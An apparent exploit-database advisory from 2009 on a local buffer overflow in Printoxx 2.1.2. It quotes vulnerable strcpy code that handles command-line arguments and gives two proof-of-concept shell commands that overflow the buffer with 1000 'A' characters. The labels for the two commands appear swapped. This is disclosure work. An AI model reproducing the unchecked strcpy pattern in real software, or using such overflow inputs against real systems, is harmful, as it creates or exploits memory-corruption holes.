Printoxx - Local Buffer Overflow

                                                # Exploit Title: Printoxx Local Buffer Overflow
# Date: 23 Dec, 2009
# Author: sandman, n4mdn4s [4T] gmail [D0T] com
# Software Link: http://kornelix.squarespace.com/printoxx/, http://kornelix.squarespace.com/storage/downloads/printoxx-2.1.2.tar.gz

# Version: <= 2.1.2
# Tested on: Fedora 12
# CVE: None
# Code:

Description:
"from website"
Printoxx is a free open source Linux program for making and printing a
photo montage. Images can be added to a layout page using the mouse to

select and drop into place. Images can be moved around and resized
using the mouse. Text can be added using any font, and moved around as
needed.

Vulnerability:
Printoxx does not check the length of input filename/directory thus overwriting the buffer [1000 in size] with a call to strcpy. The affected code segment is shown below.


Affected Code Segment:
  .....
      else if (strEqu(argv[ii],"-i") && argc > ii+1)                       //  -i imageDirectory
            strcpy(imagedirk,argv[++ii]);   //Overflow
      else if (strEqu(argv[ii],"-f") && argc > ii+1)                       //  -f imageFile

            strcpy(clfile,argv[++ii]);      //Overflow
      else strcpy(clfile,argv[ii]);         //Overflow                     //  assume imageFile
   }
......

Proof Of Concept:
Image filename overflow:

$ ./printoxx -i $(python -c 'print "A"*1000')

Directory filename overflow:
$ ./printoxx -f $(python -c 'print "A"*1000')

Severity: Very Low

Note: Since this was tested on Fedora 12, the system automatically detected the operation as a possible buffer overflow attempt instead of a regular segfault. This is due to the fact that all executables on Red-Hat

RHEL and Fedora systems are compiled with canaries enabled.

#$